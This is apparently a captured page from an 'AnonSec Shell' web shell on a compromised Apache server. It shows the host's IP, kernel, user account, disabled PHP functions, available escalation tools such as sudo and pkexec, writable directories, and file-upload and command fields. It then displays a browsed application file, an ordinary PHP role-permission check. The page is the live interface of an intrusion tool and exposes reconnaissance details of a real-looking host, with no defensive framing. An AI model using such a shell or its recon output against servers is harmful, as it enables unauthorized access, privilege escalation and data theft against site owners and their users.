AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/dialogo/application/autoload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/dialogo/application/autoload/Misc.php
<?php
Class Misc{

    public static function check_permission_by_role_id($rid,$pid,$action){

        $d = ORM::for_table('sys_staffpermissions')->where('rid',$rid)->where('pid',$pid)->find_one();




        if($d){

            switch ($action){

                case 'view':

                    if($d->can_view == 1){
                    return true;
                    }
                    else{
                        return false;
                    }

                    break;

                case 'edit':

                    if($d->can_edit == 1){
                        return true;
                    }
                    else{
                        return false;
                    }

                    break;

                case 'create':

                    if($d->can_create == 1){
                        return true;
                    }
                    else{
                        return false;
                    }

                    break;

                case 'delete':

                    if($d->can_delete == 1){
                        return true;
                    }
                    else{
                        return false;
                    }

                    break;

                default:
                    return false;
            }

        }
        else{
            return false;
        }

    }

}

Anon7 - 2022
AnonSec Team